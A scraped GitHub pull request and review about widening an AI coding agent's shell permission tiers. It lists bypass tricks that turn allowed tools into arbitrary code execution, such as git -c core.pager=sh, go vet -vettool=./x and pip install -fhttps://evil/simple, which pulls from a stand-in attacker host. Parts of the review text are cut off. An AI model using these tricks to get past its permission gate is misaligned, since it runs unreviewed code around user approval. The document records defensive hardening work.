feat(skills): widen the shell grant to the build, test, and land loop - #3390
feat(skills): widen the shell grant to the build, test, and land loop#3390kovtcharov-amd wants to merge 2 commits into
Conversation
Running the unit suite could pop a Google OAuth consent screen on the developer's desktop, mid-run, with a dummy client id — so the window that stole focus was also an "Access blocked: invalid_client" error. connectors.flow.start_authorization launches the browser from a fire-and-forget asyncio.ensure_future task that resolves webbrowser.open when it runs, which can be after the test that patched it has finished and monkeypatch has restored the real function. Every connector test does patch the launcher; the patch just isn't guaranteed to still be in place at launch time, which is why the popup was intermittent. Blocking the launchers for the whole session closes the race from the other side: a per-test patch now restores to the stub, never to the real function.
The coding agent could read a repo and run pytest, and that was the end of it — no way to run the project's own lint script, no way to make a commit, no way to open a pull request. It drafted the change and handed the last mile back to the user. BINARY_POLICIES had two entries. Twelve now: git, python/python3, npm, go, uv, pip, black, isort, ruff join gh and pytest, and `gh pr create` moves to CONFIRM. The three tiers hold their shape. Reads run unprompted, writes show the user the exact command first, and the escalation classes never run at all: no push, no reset --hard, no rebase, no commit --amend, no config, no install from a URL, no `npm install <package>`, no `go run`. Four mechanisms answer the bypass class this table exists for — an allowed binary that executes a different one: - Leading flags are refused unless declared, which is what puts `git -c core.pager=sh`, `--git-dir`, `--exec-path` and `pip -i` out of reach before a subcommand is read. - Flags are an ALLOWLIST for go, npm, pip and uv. `go vet -vettool=./x` runs ./x and is neither -exec nor -toolexec; npm accepts any config key as a flag. A denylist over that surface is a guess, so those four fail closed. git keeps a denylist deliberately — its exec surface is leading-flag-shaped and already owned, while an allowlist over `git log`'s flags would refuse ordinary reads constantly. - `python -m pytest` is re-classified against pytest's own rule, so -m is not a way around one. `-c` is refused outright: code from the command line is in no file anyone reviewed and can reach past every other entry here. - An operand or flag value naming a URL is refused where a package name is confirmable, including PEP 508's `pkg @ https://…`. `make` gets no entry, and that is the decision rather than an omission: its argument is a target in a file the agent can write, so no prompt text can honestly describe what `make test` runs. git also moves out of the shell tool's whitelist and into the policy table, carrying its old read-only floor as `BinaryPolicy.ungranted` so an agent with no skill loaded behaves as before. Two holes close on the way: the old whitelist matched on the subcommand alone, so `git branch -D main` and `git remote add` ran unprompted.
github-actions
Bot
added
eval
Skill audit
✅ All audited skills cleared the tier they claim. Per-finding detail is withheld here on purpose. Read it in the Security > Code scanning tab, or download the |
Request changesThis widens the coding agent's shell grant from "read + 🔒 SECURITY CONCERN: running a Python file from the checkout is exempted from the approval prompt, on a premise that isn't true. @kovtcharov-amd The new This may still be the decision you want, but it should be made explicitly rather than inherited from an incorrect claim. The narrow fix is to put The skill grants Docs still say the opposite of the new behaviour. Two places describe Real-world evidence
$ gaia skill migrate /tmp/ev/src/git-status --from openclaw --out /tmp/ev/out
✅ git-status (openclaw → gaia)
permissions : shell:execute:git
Migrated 1/1 skill(s) to GAIA format.
exit=0$ gaia skill migrate /tmp/ev/src/docker-ps --from openclaw --out /tmp/ev/out
❌ docker-ps (unmigratable)
✗ … GAIA ships no command policy for 'docker' … Declarable binaries: black, gh,
git, go, isort, npm, pip, pytest, python, python3, ruff, uv.
exit=4
The bundle marks one surface deferred: the agent-side gate in 🔍 Technical details🔴 Critical1. The rationale comment says running an in-checkout Python file "is exactly what the ungated The chain that makes it unprompted:
Net: Options, in order of how little they cost:
🟡 Important2.
3. Docs contradict the new
This is the same staleness you fixed in 🟢 Minor4.
5.
6. Scope — the browser-guard change is unrelated and unmentioned
Strengths
|
1 participant
Before: the coding agent could read a repository and run
pytest, and that was the endof it. It could not run the project's own lint script, could not make a commit, and could
not open a pull request — it drafted the change and handed the last mile back to you.
After: it runs the build, runs the tests, stages and commits behind a per-command
approval, and opens the PR.
BINARY_POLICIEShad two entries; it has twelve.The three tiers keep their shape. Reads run unprompted; writes show you the exact command
first; the escalation classes never run at all — no
push, noreset --hard, norebase, nocommit --amend, nogit config, no install from a URL, nonpm install <package>, nogo run. Pushing stays out of reach on purpose: theagent commits and tells you the
git pushline to run, then opens the PR.🔍 The bypass class, and the four things that answer it
Almost every CLI worth granting can be talked into running a different program. An
entry that lists subcommands and stops has granted the shell under a narrower name
(CWE-184).
git -c core.pager=sh,-c diff.external=sh,--git-dir,--exec-path,-Candpip -iout of reach before a subcommand is even read — the single most load-bearing property
of the git entry.
go,npm,pip,uv.go vet -vettool=./xexecutes./xand is neither-execnor-toolexec; npm accepts any of its config keys as aflag. A denylist over that surface is a guess, so those four fail closed.
gitkeeps adenylist deliberately — rationale in
_git_read's docstring, pinned by a test.delegate_flag:python -m pytest --pdbis re-classified against pytest's ownrule and refused for the reason
pytest --pdbis.python -cis refused outright —code from the command line is in no file anyone reviewed and can reach past every other
entry in the table.
denied_operand_prefixes: a package name is a write one line of prompt candescribe; a URL is fetch-and-run. Matched anywhere in the token, so PEP 508's
pip install pkg @ https://…is caught too.makegets no entry, and that is the decision rather than an omission: its argument is atarget in a file the agent can write, so
make testmeans "run whatever the Makefilesays" and no prompt text describes it honestly.
hub/skills/coding/SKILL.mdsays so.gitalso moves out of the shell tool'sALLOWED_COMMANDS/SAFE_GIT_COMMANDSand intothe policy table, carrying its old read-only floor as
BinaryPolicy.ungranted— an agentwith no skill loaded behaves exactly as before. Two holes close on the way: the old
whitelist matched on the subcommand alone, so
git branch -D mainandgit remote addran unprompted.
Two
code-reviewerpasses found nine then six issues, including one unprompted RCE(
go vet -vettool, verified by execution) and one index-substitution(
pip install -fhttps://evil/simple). All are fixed and each has a named regression test.What a user might expect to work and will not
git push— REFUSE. The agent commits and tells you the line to run.git reset,git rebase,git commit --amend,git config,git stash drop— REFUSE.Use
git restore --staged(CONFIRM) to unstage.pip uninstall,uv add,npm install <package>,go install— REFUSE. Add thedependency to the manifest and install from there.
make— no policy, by design.python -c— REFUSE. Write the file, then run the file.Test plan
PYTHONPATH=$(pwd)/src python -m pytest tests/unit/test_skill_binary_grants.py -q— 3 tiers × 12 binaries, ~40 named bypass attempts, and the CI lines that must
not refuse (
npm ci --omit=dev,uv sync --frozen,go test -coverprofile=cover.out).PYTHONPATH=$(pwd)/src python -m pytest tests/unit/test_shell_guardrails.py tests/unit/test_skills_migrate.py tests/unit/test_starter_skills.py -q— the ungranted floor is unchanged and the coding skill still loads.
python util/lint.py --allgaia chatand confirm:git statusruns unprompted,git commit -m xraises the approval prompt showing the exact command, andgit pushis refused with a message naming what to run yourself.